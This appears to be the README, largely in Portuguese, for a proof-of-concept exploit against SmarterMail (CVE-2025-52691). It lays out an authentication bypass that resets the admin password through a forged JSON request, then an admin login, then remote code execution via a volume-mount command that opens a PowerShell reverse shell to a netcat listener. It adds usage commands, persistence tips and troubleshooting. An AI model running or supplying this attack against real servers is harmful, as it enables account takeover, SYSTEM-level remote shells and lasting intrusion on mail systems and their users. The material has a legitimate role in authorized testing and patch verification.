
CVE-2025-52691 PoC: Baseado no artigo da watchtowr WT-2026-0001 sobre um exploit de bypass de autenticação, este é um script de ataque Python funcional.
Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais!
Este exploit combina duas vulnerabilidades críticas no SmarterMail:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
O exploit realiza um ataque em 3 fases:
Fase 1: Bypass de Autenticação via WT-2026-0001
Fase 2: Login do Administrador com a nova senha
Fase 3: RCE através da funcionalidade de Montagens de Volume
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
Identificação do Alvo
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
Configuração do Listener
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
Validação de Rede
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Conexão Shell
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
Verificar Acesso
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
Acesso Persistente
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
| Parâmetro | Descrição | Valor Padrão |
|---|---|---|
-H, --host | Host alvo (obrigatório) | - |
-P, --port | Porta alvo | 9998 |
-A, --attacker-ip | IP do atacante para reverse shell (obrigatório) | - |
-p, --attacker-port | Porta do atacante para reverse shell (obrigatório) | - |
-d, --debug | Ativar modo de depuração | False |
--admin-username | Nome de usuário do administrador | admin |
--new-password | Nova senha do administrador | NewPassword123!@# |
| Parâmetro | Descrição |
|---|---|
-t, --target | Host alvo |
-p, --port | Porta alvo |
-a, --attacker-ip | IP do atacante |
-l, --listener-port | Porta do listener |
-n, --new-password | Nova senha do administrador |
-u, --admin-user | Nome de usuário do administrador |
-d, --debug | Modo de depuração |
--auto | Modo automatizado |
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
Endpoint: POST /api/v1/auth/force-reset-password
Payload:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
Resposta de Sucesso:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
Endpoint: POST /api/v1/auth/login
Payload:
{
"username": "admin",
"password": "NewPassword123!@#"
}
Endpoint: POST /api/v1/settings/volume-mounts
Payload:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
Ative o modo de depuração para saída detalhada:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ Lembre-se: Com grandes poderes vêm grandes responsabilidades!